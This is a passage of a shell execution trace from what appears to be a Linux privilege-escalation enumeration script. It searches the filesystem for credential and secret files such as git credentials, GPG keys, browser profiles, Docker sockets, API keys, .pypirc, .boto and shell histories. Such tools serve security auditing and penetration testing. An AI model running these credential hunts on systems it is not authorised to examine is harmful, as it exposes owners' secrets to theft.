+ PSTORAGE_SPLUNK=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "passwd$" | sort | uniq | head -n 70)
+ PSTORAGE_GIT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.git-credentials$" | sort | uniq | head -n 70)
+ PSTORAGE_ATLANTIS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "atlantis\.db$" | sort | uniq | head -n 70)
+ PSTORAGE_GITLAB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
+ PSTORAGE_PGP_GPG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
+ PSTORAGE_CACHE_VI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
+ PSTORAGE_DOCKER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$|\.docker$" | sort | uniq | head -n 70)
+ PSTORAGE_FIREFOX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70)
+ PSTORAGE_CHROME=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70)
+ PSTORAGE_OPERA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70)
+ PSTORAGE_SAFARI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70)
+ PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_FASTCGI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
+ PSTORAGE_FAT_FREE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "fat\.config$" | sort | uniq | head -n 70)
+ PSTORAGE_SHODAN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "api_key$" | sort | uniq | head -n 70)
+ PSTORAGE_CONCOURSE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.flyrc$|concourse-auth$|concourse-keys$" | sort | uniq | head -n 70)
+ PSTORAGE_BOTO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.boto$" | sort | uniq | head -n 70)
+ PSTORAGE_SNMP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_PYPIRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
+ PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "postfix$" | sort | uniq | head -n 70)
+ PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
+ PSTORAGE_HISTORY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*_history.*$" | sort | uniq | head -n 70)
+ PSTORAGE_HTTP_CONF=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_HTPASSWD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 